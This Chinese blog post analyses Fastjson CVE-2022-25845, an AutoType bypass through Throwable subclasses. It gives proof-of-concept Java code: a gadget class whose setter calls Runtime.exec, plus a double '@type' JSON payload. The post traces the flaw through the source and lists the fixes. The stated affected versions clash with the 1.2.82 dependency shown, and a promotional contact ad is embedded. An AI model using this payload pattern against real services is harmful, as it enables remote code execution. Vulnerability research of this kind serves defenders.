Fastjson 代码执行 CVE-2022-25845

247 阅读3分钟

CVE简介

  Fastjson 代码执行CVE,该CVE允许攻击者绕过 Fastjson 中的"AutoTypeCheck"机制并实现远程代码执行

  影响版本:1.2.80及以下版本,即<= 1.2.80

CVE复现

  我们利用 idea 创建 maven 项目 搭建CVE环境,在 pom 文件中添加

<dependency>    <groupId>com.alibaba</groupId>    <artifactId>fastjson</artifactId>    <version>1.2.82</version></dependency>

  创建文件夹 com.example.fastjson

  在下面添加两个 java 文件

package com.example.fastjson;​import java.io.IOException;​public class Poc extends Exception {    public void setName(String str) {        try {            Runtime.getRuntime().exec(str);        } catch (IOException e) {            e.printStackTrace();        }    }}​

package com.example.fastjson;import com.alibaba.fastjson.JSON;​public class PocDemo {    public static void main(String[] args) {        String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.Poc\",\"name\":\"calc\"}";        JSON.parse(json);    }}​

  运行 PocDemo

image-20220719142822-1k35src.png

【----帮助网安学习,加 yj009991,备注“掘金”获取资料】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册

CVE分析

AutoType

  我们知道在 fastjson 1.2.25 后设定了 autoType 只有打开 autoType之后,fastjson 是基于内置黑名单来实现安全的,如此可能会造成安全风险,就是绕过黑名单

  不开启时,是基于白名单进行防护的,这个CVE的产生就是未开启 autoType 时产生的。

  但是未开启 autoType 时是基于白名单,是很难实现代码执行的,所以我们就需要想办法 Bypass AutoType 默认禁用策略,可以实现调用任意类

  开启 autoType 后,最终调用的是 config.checkAutoType

  com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)

image-20220719172609-6e2fxje.png

  其中声明了各种被黑名单列入的类,是通过十六进制来记录各种类,可以在 fastjson-blacklist,看到具体类的名称

Throwable

  我们注意到在 com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze 中也同样调用了 checkAutoType

image-20220719172139-o828c5j.png

image-20220719181353-1lxkk9e.png

  同时我们可以发现在 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 会检测目标类中是否属于Throwable 的扩展,之后就会调用 ThrowableDeserializer.deserialize()

image-20220719173104-q84f7xn.png

  所以初步得出结论,如果目标类属于 Throwable 的扩展类,就可以实现打开autoType的类似操作,去调用任何类

image-20220719173422-45ff3o8.png

  为了验证这个猜测,我们修改一下文件

package com.example.fastjson;​import java.io.IOException;​public class Poc extends Error {    public void setName(String str) {        try {            Runtime.getRuntime().exec(str);        } catch (IOException e) {            e.printStackTrace();        }    }}

image-20220719173525-n0hp0g0.png

  依然可以利用成功

  继续关注函数 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 会调用 createException 去创建反序列化函数

image-20220719181020-0n77lr1.png

  com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#createException

image-20220719181113-mzc8n0s.png

  最后还是在函数 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 中实现了代码执行

image-20220719181829-fwyeimp.png

  如此整个CVE就分析完成了

CVE修复

  官方提供了以下四种修复方式

  ● 升级到最新版本1.2.83

  ● safeMode加固

  ● 升级到fastjson v2

  ● noneautotype版本

总结反思

  整个CVE的分析花了很多时间,来回加断点调试了很久。对这个CVE做一个自己的总结。在默认未开启 AutoType 时,Fastjson 是基于白名单的获取外部类,通过 搜索checkAutoType 发现ThrowableDeserializer#deserialze 中的调用,当然也不止这一处,只是这处能进一步的利用,通过满足类属于 Throwable 的扩展类就可以触发,最后实现代码执行。但是这个代码在实际场景中的利用要求较为苛刻,首先满足类是 Throwable 的扩展类,同时其中必须有危险的 set 方法。

更多靶场实验练习、网安学习资料,请访问合天网安实验室。